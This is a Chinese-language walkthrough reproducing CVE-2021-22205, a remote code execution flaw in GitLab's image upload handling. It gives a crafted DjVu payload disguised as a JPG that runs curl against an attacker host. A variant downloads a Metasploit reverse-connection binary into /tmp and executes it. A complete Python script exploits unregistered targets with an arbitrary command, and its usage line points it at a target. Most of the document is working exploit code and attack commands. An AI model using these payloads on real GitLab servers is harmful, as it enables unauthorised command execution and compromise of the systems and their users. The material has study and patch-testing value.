CVE-2021-22205 复现(需要注册和无需注册)

说明:CVE-2021-22205是gitlab的一个RCE漏洞,允许用户在上传特定的文件图片时,执行系统命令。

环境:

Mac 电脑一台

安装djvumake命令

测试的GitLab版本:
11.9 <= GitLab(CE/EE)< 13.8.8
13.9 <= GitLab(CE/EE)< 13.9.6
13.10 <= GitLab(CE/EE)< 13.10.3

开始-需要注册登录复现:

1.mac 命令行安装 djvumake

brew install djvulibre 

2.创建一个test.txt 文本在桌面,内容如下

(metadata
        (Copyright "\
" . qx{curl http://xxx.xxx.xxx.xxx:8899} . \
" b "))

3.使用djvumake命令压缩文本文件成图片

djvumake test.djvu INFO=0,0 BGjp=/dev/null ANTa=test.txt && mv test.djvu test.jpg

4.上传该图片到Gitlab,上传方式如下:

5.

附:

如果使用msf上线则需要修改test.txt 内容如下即可:

(metadata
        (Copyright "\
" . qx{wget http://x.com/gitlab(msf的反向连接文件) -P /tmp/ && chmod +x /tmp/gitlab && /tmp/gitlab} . \
" b "))

开始-无需注册复现:

使用以下脚本CVE-2021-22205.py

import sys
import requests
from bs4 import BeautifulSoup

requests.packages.urllib3.disable_warnings()


def POC(url, command):
    session = requests.Session()
    try:
        r = session.get(url.strip("/") + "/users/sign_in", verify=False)
        soup = BeautifulSoup(r.text, features="lxml")
        token = soup.findAll('meta')[16].get("content")
        data = "\r\n------WebKitFormBoundaryIMv3mxRg59TkFSX5\r\nContent-Disposition: form-data; name=\"file\"; filename=\"test.jpg\"\r\nContent-Type: image/jpeg\r\n\r\nAT&TFORM\x00\x00\x03\xafDJVMDIRM\x00\x00\x00.\x81\x00\x02\x00\x00\x00F\x00\x00\x00\xac\xff\xff\xde\xbf\x99 !\xc8\x91N\xeb\x0c\x07\x1f\xd2\xda\x88\xe8k\xe6D\x0f,q\x02\xeeI\xd3n\x95\xbd\xa2\xc3\"?FORM\x00\x00\x00^DJVUINFO\x00\x00\x00\n\x00\x08\x00\x08\x18\x00d\x00\x16\x00INCL\x00\x00\x00\x0fshared_anno.iff\x00BG44\x00\x00\x00\x11\x00J\x01\x02\x00\x08\x00\x08\x8a\xe6\xe1\xb17\xd9*\x89\x00BG44\x00\x00\x00\x04\x01\x0f\xf9\x9fBG44\x00\x00\x00\x02\x02\nFORM\x00\x00\x03\x07DJVIANTa\x00\x00\x01P(metadata\n\t(Copyright \"\\\n\" . qx{"+  command +"} . \\\n\" b \") )                                                                                                                                                                                                                                                                                                                                                                                                                                     \n\r\n------WebKitFormBoundaryIMv3mxRg59TkFSX5--\r\n\r\n"
        headers = {
            "User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36",
            "Connection": "close",
            "Content-Type": "multipart/form-data; boundary=----WebKitFormBoundaryIMv3mxRg59TkFSX5",
            "X-CSRF-Token": f"{token}", "Accept-Encoding": "gzip, deflate"}
        flag = 'Failed to process image'
        req = session.post(url.strip("/") + "/uploads/user", data=data, headers=headers, verify=False)
        x = req.text
        if flag in x:
            print("success!!!")
        else:
            print("No Vuln!!!")
    except Exception as e:
        print(e)


if __name__ == '__main__':
    POC(sys.argv[1], sys.argv[2])

这个使用起来就简单多了,命令如下:

python3 CVE-2021-22205.py http://www.xxx.com(gitlab目标) "curl http://www.xxx.com"(执行的命令)

Done